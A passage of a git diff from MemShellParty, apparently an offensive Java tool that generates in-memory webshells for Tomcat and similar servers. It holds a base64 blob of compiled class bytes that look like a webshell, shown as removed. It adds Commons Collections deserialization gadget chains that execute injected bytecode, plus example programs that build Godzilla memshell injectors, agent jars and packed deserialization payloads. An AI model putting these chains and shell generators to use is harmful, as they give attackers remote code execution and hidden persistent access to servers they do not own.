YXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEACWdldEhlYWRlcgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEABmVx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"); - Files.write(Paths.get("xix.class"), bytes); - } -} \ No newline at end of file diff --git a/deserialize/build.gradle b/deserialize/build.gradle index 68050e8f..24d3e795 100644 --- a/deserialize/build.gradle +++ b/deserialize/build.gradle @@ -1,15 +1,15 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - -group = 'com.reajason.javaweb' +group = 'io.github.reajason' +description = "Java deserialize payload for MemShellParty" version = rootProject.version dependencies { + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' implementation 'com.caucho:hessian:4.0.66' - implementation 'commons-beanutils:commons-beanutils:1.9.4' + implementation 'commons-beanutils:commons-beanutils:1.9.2' + implementation 'commons-collections:commons-collections:3.2.1' + implementation 'org.apache.commons:commons-collections4:4.0' testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java index 451f03ee..4ad84854 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java @@ -1,10 +1,7 @@ package com.reajason.javaweb.deserialize; import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19; +import com.reajason.javaweb.deserialize.payload.java.*; import lombok.Getter; /** @@ -21,6 +18,12 @@ public enum PayloadType { CommonsBeanutils19(new CommonsBeanutils19()), CommonsBeanutils110(new CommonsBeanutils110()), + /** + * CC 链 + */ + CommonsCollections3(new CommonCollections3()), + CommonsCollections4(new CommonCollections4()), + /** * Hessian XSLT write */ diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java index 919a6484..64403621 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java @@ -1,12 +1,13 @@ package com.reajason.javaweb.deserialize; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.deserialize.utils.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.jar.asm.Opcodes; /** * @author ReaJason @@ -20,6 +21,7 @@ public static TemplatesImpl createTemplatesImpl(byte[] bytes) { byte[] fooBytes; try (DynamicType.Unloaded make = new ByteBuddy() .subclass(Object.class).name("foo") + .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6)) .make()) { fooBytes = make.getBytes(); } diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java new file mode 100644 index 00000000..d53d748b --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.deserialize.payload.java; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import lombok.SneakyThrows; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +/** + * CC11 链 from CommonsCollections11.md + * + * @author ReaJason + * @since 2025/4/2 + */ +public class CommonCollections3 implements Payload { + + @Override + @SneakyThrows + @SuppressWarnings({"rawtypes", "unchecked"}) + public Object generate(byte[] bytes) { + TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes); + + InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null); + + Map innerMap = new HashMap<>(); + Map outerMap = LazyMap.decorate(innerMap, invokerTransformer); + + TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates); + + Map expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "valueTest"); + outerMap.remove(templates); + + Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer"); + return expMap; + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java new file mode 100644 index 00000000..866af787 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java @@ -0,0 +1,39 @@ +package com.reajason.javaweb.deserialize.payload.java; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import lombok.SneakyThrows; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.util.PriorityQueue; + +/** + * @author ReaJason + * @since 2025/4/2 + */ +public class CommonCollections4 implements Payload { + + @Override + @SneakyThrows + @SuppressWarnings({"rawtypes", "unchecked"}) + public Object generate(byte[] bytes) { + TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes); + ChainedTransformer chain = + new ChainedTransformer( + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[]{Templates.class}, new Object[]{templates})); + TransformingComparator comparator = new TransformingComparator(chain); + PriorityQueue queue = new PriorityQueue(2, comparator); + Reflections.setFieldValue(queue, "size", 2); + Reflections.setFieldValue(queue, "comparator", comparator); + return queue; + } +} diff --git a/examples/memshell-party-maven-example/pom.xml b/examples/memshell-party-maven-example/pom.xml new file mode 100644 index 00000000..44c36c0d --- /dev/null +++ b/examples/memshell-party-maven-example/pom.xml @@ -0,0 +1,25 @@ + + + 4.0.0 + + com.reajason.javaweb.maven + memshell-party-maven-example + 1.0-SNAPSHOT + + + 8 + 8 + UTF-8 + + + + + io.github.reajason + generator + 1.0.4 + + + + \ No newline at end of file diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java new file mode 100644 index 00000000..c63aff92 --- /dev/null +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java @@ -0,0 +1,50 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; + +/** + * @author ReaJason + * @since 2025/4/6 + */ +public class Godzilla { + public static void main(String[] args) { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.FILTER) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + + InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + + GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + + GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + + System.out.println("注入器类名:" + result.getInjectorClassName()); + System.out.println("内存马类名:" + result.getShellClassName()); + + System.out.println(result.getShellConfig()); + System.out.println(result.getShellToolConfig()); + + System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result)); + + System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result)); + + System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result)); + } +} diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java new file mode 100644 index 00000000..73472a33 --- /dev/null +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.packer.jar.JarPacker; + +import java.nio.file.Files; +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2025/4/6 + */ +public class GodzillaAgent { + + public static void main(String[] args) throws Exception { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.AGENT_FILTER_CHAIN) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + + InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + + GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + + GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + + System.out.println("注入器类名:" + result.getInjectorClassName()); + System.out.println("内存马类名:" + result.getShellClassName()); + + System.out.println(result.getShellConfig()); + System.out.println(result.getShellToolConfig()); + + byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); + Files.write(Paths.get("agent.jar"), agentJarBytes); + } +} diff --git a/generator/build.gradle b/generator/build.gradle index bc13edb5..fd4a580e 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -1,7 +1,3 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - java { toolchain { languageVersion = JavaLanguageVersion.of(8) @@ -10,9 +6,11 @@ java { targetCompatibility = JavaVersion.VERSION_1_8 } -group = 'com.reajason.javaweb.memsell' +group = 'io.github.reajason' +description = "MemShell Generator for Java" version = rootProject.version +// 测试使用 JDK17 进行编译与运行 tasks.withType(Test).configureEach { javaLauncher = javaToolchains.launcherFor { languageVersion = JavaLanguageVersion.of(17) @@ -33,26 +31,24 @@ test { } dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation project(":deserialize") + implementation project(":memshell") implementation project(":memshell-java8") implementation 'net.bytebuddy:byte-buddy' implementation 'org.ow2.asm:asm-commons' - implementation 'com.github.jar-analyzer:class-obf' implementation 'javax.servlet:javax.servlet-api' implementation 'javax.websocket:javax.websocket-api' - implementation 'jakarta.servlet:jakarta.servlet-api' implementation 'org.apache.bcel:bcel' implementation 'commons-io:commons-io' implementation 'org.apache.commons:commons-lang3' - implementation 'commons-codec:commons-codec' implementation 'com.squareup.okhttp3:okhttp' implementation 'ch.qos.logback:logback-classic' - implementation 'com.alibaba.fastjson2:fastjson2' + implementation 'com.fasterxml.jackson.core:jackson-databind' implementation 'org.springframework:spring-webmvc' implementation 'org.springframework:spring-webflux' diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 872d1ddc..9f70e85c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -4,8 +4,6 @@ import com.reajason.javaweb.memshell.generator.*; import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.utils.CommonUtil; -import me.n1ar4.clazz.obfuscator.api.ClassObf; -import me.n1ar4.clazz.obfuscator.config.BaseConfig; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; @@ -48,39 +46,12 @@ public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig in byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); - if (shellConfig.isObfuscate()) { - BaseConfig config = BaseConfig.Default(); - config.setIgnorePublic(true); - config.setEnableMethodName(false); - config.setEnableFieldName(false); - config.setEnableAES(false); - config.setEnableAdvanceString(false); - config.setQuiet(true); - - ClassObf classObf = new ClassObf(config); - shellBytes = classObf.run(shellBytes).getData(); - } - injectorConfig.setInjectorClass(injectorClass); injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassBytes(shellBytes); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); byte[] injectorBytes = injectorGenerator.generate(); - - if (shellConfig.isObfuscate()) { - BaseConfig config = BaseConfig.Default(); - config.setIgnorePublic(true); - config.setEnableMethodName(false); - config.setEnableFieldName(false); - config.setEnableAES(false); - config.setEnableAdvanceString(false); - config.setQuiet(true); - - ClassObf classObf = new ClassObf(config); - injectorBytes = classObf.run(injectorBytes).getData(); - } - Map innerClassBytes = injectorGenerator.getInnerClassBytes(); return GenerateResult.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java index 2c68dd9c..c48bed14 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java @@ -103,6 +103,8 @@ public enum Packers { JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class), + JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class), + JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class), /** * Hessian 反序列化打包器 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java index 569bdc55..c9c325c6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java @@ -15,7 +15,7 @@ @ToString public class AntSwordConfig extends ShellToolConfig { @Builder.Default - private String pass = "pass"; + private String pass = CommonUtil.getRandomString(8); @Builder.Default private String headerName = "User-Agent"; @Builder.Default diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java index 10cf9d64..29a4bc40 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java @@ -15,7 +15,7 @@ @ToString public class BehinderConfig extends ShellToolConfig { @Builder.Default - private String pass = "pass"; + private String pass = CommonUtil.getRandomString(8); @Builder.Default private String headerName = "User-Agent"; @Builder.Default diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index d9ad38b8..85907532 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.config; +import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.Builder; import lombok.Getter; import lombok.ToString; @@ -14,5 +15,5 @@ @ToString public class CommandConfig extends ShellToolConfig { @Builder.Default - private String paramName = "cmd"; + private String paramName = CommonUtil.getRandomString(8); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java index e44d5c2a..812659dc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java @@ -4,8 +4,8 @@ import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64; import java.util.Map; /** @@ -33,11 +33,11 @@ public class GenerateResult { public static class GenerateResultBuilder { public GenerateResult build() { if (shellBytes != null) { - shellBytesBase64Str = Base64.encodeBase64String(shellBytes); + shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes); shellSize = shellBytes.length; } if (injectorBytes != null) { - injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes); + injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes); injectorSize = injectorBytes.length; } return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java index 67956665..98f40640 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java @@ -15,9 +15,9 @@ @ToString public class GodzillaConfig extends ShellToolConfig { @Builder.Default - private String pass = "pass"; + private String pass = CommonUtil.getRandomString(8); @Builder.Default - private String key = "key"; + private String key = CommonUtil.getRandomString(8); @Builder.Default private String headerName = "User-Agent"; @Builder.Default diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index 4ad78f3f..c2e4948e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -45,12 +45,6 @@ public class ShellConfig { @Builder.Default private boolean byPassJavaModule = false; - /** - * 是否开启混淆 - */ - @Builder.Default - private boolean obfuscate = false; - /** * 是否开启调试 */ diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index 2928ec50..45fdd563 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -8,9 +8,9 @@ import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.utils.DigestUtils; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; import java.util.HashMap; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java index 20611f9f..38d242a1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java @@ -4,9 +4,10 @@ import com.reajason.javaweb.asm.ClassRenameUtils; import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.StringUtils; +import java.util.Base64; + /** * @author ReaJason * @since 2025/3/18 @@ -28,7 +29,7 @@ public byte[] getBytes() { throw new IllegalArgumentException("Custom shell class is empty"); } - byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName()); + byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName()); return ClassBytesShrink.shrink(bytes, shellConfig.isShrink()); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index 32adeee8..52fa95f7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -8,9 +8,9 @@ import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.utils.DigestUtils; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; import java.util.HashMap; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java index a83ddf53..815281b6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java +++ 